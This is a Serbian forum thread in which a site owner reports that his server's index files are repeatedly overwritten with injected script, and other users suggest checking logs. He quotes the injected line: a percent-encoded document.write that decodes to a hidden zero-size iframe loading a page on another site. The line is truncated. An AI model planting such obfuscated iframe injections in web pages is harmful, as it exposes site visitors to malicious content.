Posedujem server na kome hostujem sajtove koje izradjujem. E sada, na tom serveru u određenom trenutku u toku dana neki virus , skripta ili sta vec, prepise mi sve index fajlove na serveru bez obzira da li su html ili php. U index fajlovima se pored mog sadrzaja pojave i neke java skripte. Tada sajt pocinje da baguje , da se prebaca ili uopšte neće da radi. Ostale strane sve regularno rade. Menjao sam ftp passworde, ponovo kucao kod i ništa nije pomoglo. Virus potiče sa sjta gamunkl.com i odvali me ves dve nedelje. Skoro svakog dana opstavljam prezentacije na serveru iz početka. Ako neko nešto zna... recite. Hvala
Virus skripta na serveru - Help
Zaključano
Zakačeno
http://www.threatexpert.com/re...28ca01c8793986fbdcdff482f01c78
Je li to taj? Ako jeste - treba da ubijes virus na nekom od kompjutera (serveru, onom sa kog pristupas, nekom trecem...).
Je li to taj? Ako jeste - treba da ubijes virus na nekom od kompjutera (serveru, onom sa kog pristupas, nekom trecem...).
Potpis
Kad sve ostalo zakaže, pročitaj uputstvo...
Server uopšte ne vidi bilo kakv virus , niti se u log fajlovima servera ne vidi neovlašćeni pristup. Serveri su na linuxu. Samo se u datom trenutku na svim index fjlovima na početku (pre <html>) ili na kraju html ispise java skripta
(document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%67%61%6D%75%6E%6B%75%6C%2E%63%6F%6D%2F%66%69%66%61%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3$ )
i ja kada vidim da se to desilo, samo prepisem index stranu. Komp sa koga radim je preinstaliran a uz to održav i neke druge sajtove na drugim serverima i njima se nista nije desilo. Strasno konfuzno
(document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%67%61%6D%75%6E%6B%75%6C%2E%63%6F%6D%2F%66%69%66%61%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3$ )
i ja kada vidim da se to desilo, samo prepisem index stranu. Komp sa koga radim je preinstaliran a uz to održav i neke druge sajtove na drugim serverima i njima se nista nije desilo. Strasno konfuzno
Ako nije neovlasteno, onda je neko "ovlasteno" upao i promenio :)
Stvarno, pogledaj logove tog trenutka kad se sve desi. Koje sve logove imas?
Stvarno, pogledaj logove tog trenutka kad se sve desi. Koje sve logove imas?
Potpis
Kad sve ostalo zakaže, pročitaj uputstvo...